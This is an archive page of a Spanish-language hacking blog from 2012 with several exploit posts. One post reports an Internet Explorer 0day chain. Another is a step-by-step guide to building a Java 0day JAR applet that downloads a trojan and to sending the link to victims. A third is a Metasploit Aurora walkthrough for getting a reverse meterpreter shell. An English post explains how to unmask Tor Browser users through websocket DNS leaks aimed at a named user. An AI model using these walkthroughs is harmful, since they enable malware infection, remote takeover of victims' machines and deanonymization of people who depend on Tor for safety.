Social Icons

Mostrando entradas con la etiqueta Exploits. Mostrar todas las entradas
Mostrando entradas con la etiqueta Exploits. Mostrar todas las entradas

sábado, 13 de octubre de 2012

Nuevo Exploit 0day para Internet Explorer 7, 8, 9 en Windows XP, Vista y 7





Un investigador de seguridad ha encontrado una nueva Vulnerabilidad 0day que afecta a Internet Explorer, mientras se realizaba un análisis de una página de malware que se estaba utilizando para explotar las vulnerabilidades de Java.

Según el equipo de Metasploit, el Internet Explorer 7, 8 y 9 en Windows XP, Vista y 7 son vulnerables a este ataque.

Eric Romang ha descubierto una carpeta "/public/help" en uno de los servidores infectados. Él encontró un archivo flash (.Swf), dos paginas html (protect.html, exploit.html) y el archivo exe.


Al abrir la página exploit.html, carga el archivo flash, que a su vez carga la otra página HTML (protect.html). Juntos, ayudan a bajar el archivo ejecutable en la computadora de la víctima.

El equipo de Metasploit inmediatamente ha desarrollado el módulo para este exploit. Según los investigadores de Metasploit, el exploit, que ya había sido utilizado por los atacantes maliciosos en la naturaleza antes de que fuera publicado en Metasploit, afecta a alrededor del 41% de los usuarios de Internet en América del Norte y el 32% a nivel mundial.

Desde que Microsoft no ha lanzado un parche para esta vulnerabilidad, sin embargo, se aconseja a  los usuarios de IE cambiar a otro navegador hasta que una actualización de seguridad disponible.


exploit.html
Este archivo se reconoce como un archivo HTML, y  por 0 anti-virus en VirusTotal

"exploit.html" es el punto de partida del ataque. Este archivo se crea una matriz de "img" y carga  el archivo Flash "Moh2010.swf" 



Moh2010.swf
Este archivo es reconocida como una película de Macromedia Flash Player, y por 0 anti-virus en VirusTotal

Se puede observar que el archivo está lleno de DosSWF que se descomprimira en la memoria. Después de la descompresión "Moh2010.swf" el archivo se derrama en el montón y eval un iframe al archivo "Protect.html".


El código ActionScript incrustado en el original lleno de archivos SWF, también es interesante, podrás ver algunos de codificación especial (chino?).

Este archivo, que durante la explotación es también comprobar si el sitio web está en Flash Website Storage Settings pannel para nada más cargar el archivo "Protect.html". Esto significa, que una vez infectado el usuario ya no será explotado a pesar de nuevas visitas a la página web.

Muestra en la primera visita:
Muestra de la explotación exitosa:



Muestra en otras visitas:



Protect.html
Este archivo se reconoce como un archivo HTML, y  por 0 anti-virus en VirusTotal

Si usted echa un vistazo al código fuente, se puede ver el código javascript interesante, como es la manipulación de la "img" matriz creada por "exploit.html".

También verá que las pruebas se hacen, con destino a Windows XP 32-bit e Internet Explorer 7 u 8.



111.exe
Este archivo se reconoce como un archivo de imagen Autodesk FLIC, y por 0 anti-virus en VirusTotal

El archivo se ha enviado a Malware Tracker (baabd0b871095138269cf2c53b517927), este archivo se ve sospechoso y requiere mas investigaciones.


Si deseamos tener el modulo para explotar esta vulnerabilidad desde el Metasploit, es necesario actualizar la misma desde el siguiente link: https://community.rapid7.com/docs/DOC-1975

La captura de pantalla siguiente se muestra un ataque exitoso contra una máquina de Windows 7 con Internet Explorer 9 instalado:



Está es en contra de Internet Explorer 8 instalado:



He aquí otro ejemplo de la explotación en un Windows XP SP3 box, totalmente parcheado:


El exploit también trabaja en contra de Windows Vista.

Fuentes de Información:



Explotando Java7 0day - Exploit .JAR


Explotando Java7 0day - Exploit .JAR by CalebBucker


Investigadores de seguridad de FireEye han informado de una nueva vulnerabilidad de día cero en Java que está siendo explotada activamente en Internet. Los runtime más recientes (JRE 1.7x) son también vulnerables.

Esta noticia e información esta siendo propagada por todos los Foros, Blogs de Seguridad, Redes Sociales, etc... pero solo informan de que "trata" oh como prevenirlo.

En este caso, les enseñare como aprovecharse de esta vulnerabilidad, mediante el Exploit en .JAR que ha sido compilado para explotar dicha vulnerabilidad.

Empecemos.

Descargamos el Exploit:
Pass: calebbucker

Necesitaremos el Programa Eclipse:
Disponible 32 y 64 bits, descargue dependiendo de su S.O

Instalamos JAVA 7: http://java.softonic.com/

Iniciamos Eclipse, seleccionamos File - Import:


Seleccionamos General - Proyectos Existentes en el Área de Trabajo:


Le damos Next, ahora click en Browser y seleccionamos la ruta del exploit descomprimido, en mi caso es C:\Documents and Settings\TioSam\Escritorio\exploit2


Seleccionamos Finish, ahora en el proyecto importado, abrimos el archivo Gondvv.java y editamos la linea URL website = new URL("DOWNLOADPATH"); en DOWNLOADPATCH colocaremos la url de nuestro exe (bot, troyano) la cual quedaria: URL website = new URL("http://www.sitio-web.com/file.exe");




Ahora, abrimos el archivo applet1.java y le damos RUN, si el archivo logra abrir entonces quiere decir que todo funciona bien; si no abre compruebe que tiene JAVA 7 instalado.



Ahora, exportamos el Proyecto, click derecho sobre exploit2 y seleccionamos Export:


El proyecto tiene que ser guardado en formato JAR, por lo tanto seleccionamos Java - Jar file:


Seleccionamos Next, ahora click en Browser y seleccionamos la carpeta donde se guardara el archivo Jar en mi caso es: C:\Documents and Settings\TioSam\Escritorio\TEST\test.jar


Terminado ese paso le damos Next, Next y Finish.

Ahora, creamos un archivo html con el siguiente código:

<html><head></head><body><applet archive="JARNOMBRE.jar" code="applet1.class" width="1" height="1"></applet></body></html>


En mi caso el codigo queda de la siguiente manera:

<html><head></head><body><applet archive="test.jar" code="applet1.class" width="1" height="1"></applet></body></html>



Esos archivos la subimos en nuestro Host, de preferencia de pago.

Ahora solo queda enviar el link: www.sitio-web.com/index.html a cualquier persona.

En este caso, he configurado una Botnet (Aldi) la cual al momento que abri dicho link quede infectado 




Esta vulnerabilidad también puede ser explotada desde Metasploit:

Espero no sean tan "ingenuos" en abrir cualquier link que le envian, por lo menos tengan desactivado JAVA hasta que salga el respectivo parche.

Saludos.

Autor: CalebBucker

domingo, 26 de agosto de 2012

Usando Exploit Aurora

Tratare de explicarme lo mas que se pueda :


( Aviso que el exploit es para la version 6 7 de IE la 8 ya tiene actualizacion ! ) 

Para empezar vamos a buscar el exploit 


msf >

msf > use windows/browser/ms10_002_aurora <--Seleccionamos el exploit

msf exploit(ms10_002_aurora) > 

msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp <--Seleccionamos un PAYLOAD, usar meterpreter para mas comodidad

msf exploit(ms10_002_aurora) > show options <--Miramos las opciones del exploit
Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 <--La ip que se conectara la victima (la muestra :P) 
SRVPORT 8080 <--El puerto con el que conectara la Victima
SSL false <-- Lo dejamos por defecto 
SSLVersion SSL3 <-- Lo dejamos por defecto 
URIPATH <-- La ULR en la que se tendra que explorar la victima

Payload options (windows/meterpreter/reverse_tcp):


Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process <---Lo dejamos por defecto
LHOST <--<El Host de nuestro payload
LPORT 4444 <---El Puerto de nuestro payload


msf exploit(ms10_002_aurora) >

opciones del exploit

set SRVHOST xxx.xxx.xxx.xxx <--La ip que se conectara la victima (la muestra :P) 
set SRVPORT 80 <--El puerto con el que conectara la Victima 
set URIPATH / <-- La ULR en la que se tendra que explorar la victima

opciones del payload en este caso solo modificamos el host y el puerto lo dejammos por defecto

set LHOST xxx.xxx.xxx.xxx

msf exploit(ms10_002_aurora) >exploit

y despues nos aparesera la ip con la que la victima tendra que abrir ejemplo

http://xxx.xxx.x.xx:8080/ <--Que seran SRVHOST y SRVPORT

Una ves que la victima entre en la direccion http://xxx.xxx.x.xx:8080/ y nos notifique el metasploit escribimos

sessions -i 1 <--Por que es la primera victima si fuera una segunda seria sessions -i 2

Meterpreter: shell

Y listo Tendremos una Shell

Esto es en la mayoria de browser del metasploit espero que les sirva salu2... 

lunes, 6 de agosto de 2012

Exploit Tor Browser Bundle to Find True IP Address of Tor User

UPDATE: This vulnerability has been patched.  https://blog.torproject.org/blog/new...curity-release


HOWTO: Exploit Tor Browser Bundle to Find True IP Address of Tor User

Author’s Note: TOR is not vulnerable. This exploit is possible because of a flaw in the current version of Firefox, not any feature of the onion router. The exploit can be fixed in only a few seconds with a few clicks in Firefox. The default setup of the Tor Bundle, as configured when downloaded from htttp://www.torproject.com is affected.

BACKGROUND

TOR is an onion router used to obfuscate the point of origin of a network connection, as well as bypass any filtering obstacles that may block access to an Internet resource. It is a valuable tool for keeping the Internet open and free, even in countries that aggressively restrict and monitor Internet activity.

TOR Project hosts and distributes an easy to use, click-and-run bundle which includes the TOR client and a pre-configured Firefox browser. This allows even those without technical savvy to surf anonymously and without restriction.

In some oppressive environments, total anonymity is required for the continued safety and freedom of users who connect to restricted Internet content. Posting or even reading content deemed inappropriate can result in incarceration. For those who struggle against tyranny, censorship and suppression of free speech, TOR provides a secure, simple and reliable means of accessibility.

TOR can tunnel Internet-bound activity into a locally-running SOCKS5 proxy. Applications like browsers, mail clients, IRC clients and chat programs can usually be configured to send their packets to the SOCKS5 proxy, instead of directly to their end destinations. The proxy acts as a middle man between these programs and Internet.


TOR’s SOCKS5 proxy forwards all packets it receives to the TOR network. Within this network, the user’s traffic is secure, and cannot be traced back to its point of origin.

The programs should forward all traffic to the SOCKS5 Proxy. There is a flaw in the current version of Firefox which is distributed in the Tor Bundle. All packets except websocket DNS queries are proxied. This means a packet from the user’s computer, with its real IP address, is sent directly to the DNS server.

THE VULNERABILITY

Firefox does use the socks proxy for most DNS queries. Nothing is leaked when resolving standard web pages and other Internet resources. An attacker that wants to expose the true IP of a Tor Bundle user needs only entice the user to resolve the name of websocket host.

The attacker will not see the DNS query sent by the client. However, if the attacker owns the authoritative DNS server, he can record the DNS query details.

THE SETUP

An attacker needs considerable resources to exploit this vulnerability. First, the attacker requires ownership of an Internet-resolvable DNS namespace. (In other words, he needs to register a domain name.) He will need full authority over the DNS records, including the ability to delegate namespace and create NS records. Finally, he will also need one (or two, if he wants to be Internet-standards compliant, but that’s probably not a big priority) Internet-connected DNS server, for which he has full administrative control.

With these resources properly configured, the attacker can create a link that entices a victim to leak IP information. While the technique is not platform dependent, for either the client or the server, this article will illustrate the setup and detail the mechanics of the exploit using Windows Server 2008 R2. [NOTE: If another contributor wants to provide a walkthrough for Red Hat, CENTOS, Ubuntu or some other distro, I will edit this article and create a specific section for Linux (with credit). I researched, built proof of concept and wrote the article using my preferred server stack.]

SETUP FROM DOMAIN REGISTRAR

After registering an Internet domain, the owner can configure the IP addresses of the authoritative DNS servers for the zone. Internet standards require that each registered domain have at least two Internet-connected authoritative DNS servers.

You do not need to host the entire DNS zone on your own server to fully exploit this vulnerability. You will only need to delegate a subdomain. A delegation directs a DNS server to forward requests for a specific subdomain to a different DNS server. The delegating DNS server does not resolve hosts records in the delegated namespace.

If an attacker has registered the domain MYDOMAIN.COM, the authoritative DNS servers are responsible for resolving every DNS name that ends with MYDOMAIN.COM. This includes names such as WWW.MYDOMAIN.COM, SUCK.MY.BIG.MYDOMAIN.COM, THIEVES.CO.PWNS.MYDOMAIN.COM, and so on. For the purpose of this article, the attacker is going to use a subdomain for exposing Tor Browser users. The selected domain for exploitation in this article will be the GOTCHA.MYDOMAIN.COM.

There are many domain registrars, some which give very little control over DNS zones. Most domain owners have made their web hosts’ DNS servers authoritative. There are thousands of those, ranging from hosting powerhouses to boxes in dudes’ garages. Every host has a different front end, and a different process for managing DNS records. Some companies offer a web front end with full management available. Some require you to submit a ticket or email with the changes you require. Still others will abruptly tell you to GFYS if you request DNS changes. Because of the wide range, a comprehensive walkthrough is unfeasible. If a reader has made it this far into the article without losing interest, he can probably work out the details from his registrar’s or host’s FAQ to figure out the process.

SETUP OF THE AUTHORITATIVE DNS SERVER

By pointing the delegation to your own DNS server, an attacker will redirect the leaked packet from the victim’s computer to his own DNS server. That means, the victim’s click will prompt him to connect from his real IP address to a service in your network.
The attacker has many opportunities to dress up this exploit, such as adding records for this zone to point the victim to webpages with text that taunts the user, such as “d0x’d by THEIVES.CO! Your real IP is:”, redirections to other URL’s, etc. The article will focus on the exploitation itself.

WINDOWS SERVER 2008 R2 WALKTHRU

? - In the DNS Manager console, create a new Forward Lookup Zone for the subdomain
? - Turn on Debug Logging in the DNS Console
o Right-click <ServerName>, select Properties
o Click Debug Logging tab
o Check the following boxes in the dialogue box:
? Log packets for debugging
? Packet Direction: Incoming
? Transport Protocol: UDP
? Packet Contents: Queries/Transfers
? Packet Type: Request
o Fill in a File path and name: such as C:\exposed.txt
o Click OK

The trap is set.

BAIT THE TRAP

Firefox almost always uses the local TOR SOCKS5 proxy for name resolution. The exception is for a special kind of web service called a websocket. To create a websocket link, do the following:

Instead of creating a link with an HTTP:// prefix, create it with WS://

In the example, the trap subdomain was GOTCHA.MYDOMAIN.COM. If the attacker is trying to expose an IRC user named Anon1337, he can send the victim a hyperlink to WS://anon1337.gotcha.mydomain.com

Simply sending a link to gotcha.mydomain.com will log the victim’s IP. By creating a custom link for this user, the attacker can quickly find and distinguish that user’s query from any others. There doesn’t need to be a record in DNS. Even if the victim just gets an error stating that the name doesn’t exist, the attacker already has his information.

THE EVIDENCE

Here is what the attacker will find in the DNS debugging log. To find it quickly, the attacker can simply search for “anon1337”:

Code:
6/28/2012 11:16:50 AM 0D0C PACKET  000000000192B900 UDP Rcv 93.95.224.238     ac1a   Q [0001   D   NOERROR] SRV    (8)anon1337(6)gotcha(8)mydomain(3)com(0)
The attacker can see the unprotected IP Address in the log entry. That’s the victim’s real IP Address.

DEFENDING AGAINST IP EXPOSURE WHEN USING TOR BUNDLE

This exploit is the result of default configuration. It is easy to fix, in only a few seconds. Credit for the workaround goes to the TOR Project. The fix was published in the following security advisory: https://blog.torproject.org/blog/fir...s-current-tbbs

VERSION 1.0
First publication on the Thieves.co Forum

VERSION 1.1
Updated to Link to Patch for this Vulnerability. Line spacing and spelling corrections.